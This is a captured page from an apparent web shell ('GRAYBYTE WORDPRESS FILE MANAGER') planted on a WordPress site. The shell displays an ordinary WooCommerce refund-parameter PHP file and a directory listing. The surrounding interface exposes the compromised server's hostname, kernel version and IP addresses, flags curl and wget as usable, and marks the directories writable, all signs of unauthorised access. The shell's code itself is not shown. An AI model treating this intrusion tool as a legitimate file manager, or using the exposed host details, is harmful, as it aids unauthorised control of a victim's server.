✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/woocommerce/src/Internal//RestApiParameterUtil.php
<?php
/**
 * ApiUtil class file.
 */

namespace Automattic\WooCommerce\Internal;

/**
 * Helper methods for the REST API.
 *
 * Class ApiUtil
 *
 * @package Automattic\WooCommerce\Internal
 */
class RestApiParameterUtil {

	/**
	 * Converts a create refund request from the public API format:
	 *
	 * [
	 *   "reason" => "",
	 *   "api_refund" => "x",
	 *   "api_restock" => "x",
	 *   "line_items" => [
	 *     "id" => "111",
	 *     "quantity" => 222,
	 *     "refund_total" => 333,
	 *     "refund_tax" => [
	 *       [
	 *          "id": "444",
	 *          "refund_total": 555
	 *       ],...
	 *   ],...
	 * ]
	 *
	 * ...to the internally used format:
	 *
	 * [
	 *   "reason" => null,      (if it's missing or any empty value, set as null)
	 *   "api_refund" => true,  (if it's missing or non-bool, set as "true")
	 *   "api_restock" => true, (if it's missing or non-bool, set as "true")
	 *   "line_items" => [      (convert sequential array to associative based on "id")
	 *     "111" => [
	 *       "qty" => 222,      (rename "quantity" to "qty")
	 *       "refund_total" => 333,
	 *       "refund_tax" => [  (convert sequential array to associative based on "id" and "refund_total)
	 *         "444" => 555,...
	 *       ],...
	 *   ]
	 * ]
	 *
	 * It also calculates the amount if missing and whenever possible, see maybe_calculate_refund_amount_from_line_items.
	 *
	 * The conversion is done in a way that if the request is already in the internal format,
	 * then nothing is changed for compatibility. For example, if the line items array
	 * is already an associative array or any of its elements
	 * is missing the "id" key, then the entire array is left unchanged.
	 * Same for the "refund_tax" array inside each line item.
	 *
	 * @param \WP_REST_Request $request The request to adjust.
	 */
	public static function adjust_create_refund_request_parameters( \WP_REST_Request &$request ) {
		if ( empty( $request['reason'] ) ) {
			$request['reason'] = null;
		}

		if ( ! is_bool( $request['api_refund'] ) ) {
			$request['api_refund'] = true;
		}

		if ( ! is_bool( $request['api_restock'] ) ) {
			$request['api_restock'] = true;
		}

		if ( empty( $request['line_items'] ) ) {
			$request['line_items'] = array();
		} else {
			$request['line_items'] = self::adjust_line_items_for_create_refund_request( $request['line_items'] );
		}

		if ( ! isset( $request['amount'] ) ) {
			$amount = self::calculate_refund_amount_from_line_items( $request );
			if ( null !== $amount ) {
				$request['amount'] = strval( $amount );
			}
		}
	}

	/**
	 * Calculate the "amount" parameter for the request based on the amounts found in line items.
	 * This will ONLY be possible if ALL of the following is true:
	 *
	 * - "line_items" in the request is a non-empty array.
	 * - All line items have a "refund_total" field with a numeric value.
	 * - All values inside "refund_tax" in all line items are a numeric value.
	 *
	 * The request is assumed to be in internal format already.
	 *
	 * @param \WP_REST_Request $request The request to maybe calculate the total amount for.
	 * @return number|null The calculated amount, or null if it can't be calculated.
	 */
	private static function calculate_refund_amount_from_line_items( $request ) {
		$line_items = $request['line_items'];

		if ( ! is_array( $line_items ) || empty( $line_items ) ) {
			return null;
		}

		$amount = 0;

		foreach ( $line_items as $item ) {
			if ( ! isset( $item['refund_total'] ) || ! is_numeric( $item['refund_total'] ) ) {
				return null;
			}

			$amount += $item['refund_total'];

			if ( ! isset( $item['refund_tax'] ) ) {
				continue;
			}

			foreach ( $item['refund_tax'] as $tax ) {
				if ( ! is_numeric( $tax ) ) {
					return null;
				}
				$amount += $tax;
			}
		}

		return $amount;
	}

	/**
	 * Convert the line items of a refund request to internal format (see adjust_create_refund_request_parameters).
	 *
	 * @param array $line_items The line items to convert.
	 * @return array The converted line items.
	 */
	private static function adjust_line_items_for_create_refund_request( $line_items ) {
		if ( ! is_array( $line_items ) || empty( $line_items ) || self::is_associative( $line_items ) ) {
			return $line_items;
		}

		$new_array = array();
		foreach ( $line_items as $item ) {
			if ( ! isset( $item['id'] ) ) {
				return $line_items;
			}

			if ( isset( $item['quantity'] ) && ! isset( $item['qty'] ) ) {
				$item['qty'] = $item['quantity'];
			}
			unset( $item['quantity'] );

			if ( isset( $item['refund_tax'] ) ) {
				$item['refund_tax'] = self::adjust_taxes_for_create_refund_request_line_item( $item['refund_tax'] );
			}

			$id               = $item['id'];
			$new_array[ $id ] = $item;

			unset( $new_array[ $id ]['id'] );
		}

		return $new_array;
	}

	/**
	 * Adjust the taxes array from a line item in a refund request, see adjust_create_refund_parameters.
	 *
	 * @param array $taxes_array The array to adjust.
	 * @return array The adjusted array.
	 */
	private static function adjust_taxes_for_create_refund_request_line_item( $taxes_array ) {
		if ( ! is_array( $taxes_array ) || empty( $taxes_array ) || self::is_associative( $taxes_array ) ) {
			return $taxes_array;
		}

		$new_array = array();
		foreach ( $taxes_array as $item ) {
			if ( ! isset( $item['id'] ) || ! isset( $item['refund_total'] ) ) {
				return $taxes_array;
			}

			$id               = $item['id'];
			$refund_total     = $item['refund_total'];
			$new_array[ $id ] = $refund_total;
		}

		return $new_array;
	}

	/**
	 * Is an array sequential or associative?
	 *
	 * @param array $the_array The array to check.
	 * @return bool True if the array is associative, false if it's sequential.
	 */
	private static function is_associative( array $the_array ) {
		return array_keys( $the_array ) !== range( 0, count( $the_array ) - 1 );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Abilities
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
AbilitiesApi
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
AddressProvider
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Admin
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Agentic
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Api
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
BatchProcessing
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
CLI
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Caches
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ComingSoon
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
CostOfGoodsSold
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Customers
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
DataStores
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
DependencyManagement
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Email
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
EmailEditor
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Features
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Integrations
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Jetpack
--
17 Jun 2026 11.47 AM
builxejc / builxejc
0755
Logging
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
MCP
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
OrderReviews
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Orders
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ProductAttributesLookup
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ProductDownloads
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ProductFeed
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ProductFilters
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ProductImage
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
PushNotifications
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
ReceiptRendering
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
RestApi
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Settings
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
StockNotifications
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Traits
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
TransientFiles
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
Utilities
--
17 Jun 2026 9.03 AM
builxejc / builxejc
0755
WCCom
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
AssignDefaultCategory.php
1.954 KB
27 Aug 2024 11.04 PM
builxejc / builxejc
0644
Brands.php
1.27 KB
29 Jul 2025 12.34 PM
builxejc / builxejc
0644
DownloadPermissionsAdjuster.php
6.6 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644
McStats.php
2.099 KB
23 Sep 2024 8.44 PM
builxejc / builxejc
0644
OrderCouponDataMigrator.php
8.328 KB
18 Dec 2024 10.19 PM
builxejc / builxejc
0644
RegisterHooksInterface.php
0.492 KB
28 Nov 2024 3.41 AM
builxejc / builxejc
0644
RestApiControllerBase.php
8.015 KB
23 Jun 2025 7.46 PM
builxejc / builxejc
0644
RestApiParameterUtil.php
5.717 KB
28 May 2024 2.28 PM
builxejc / builxejc
0644
RestockRefundedItemsAdjuster.php
2.139 KB
5 May 2026 2.26 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF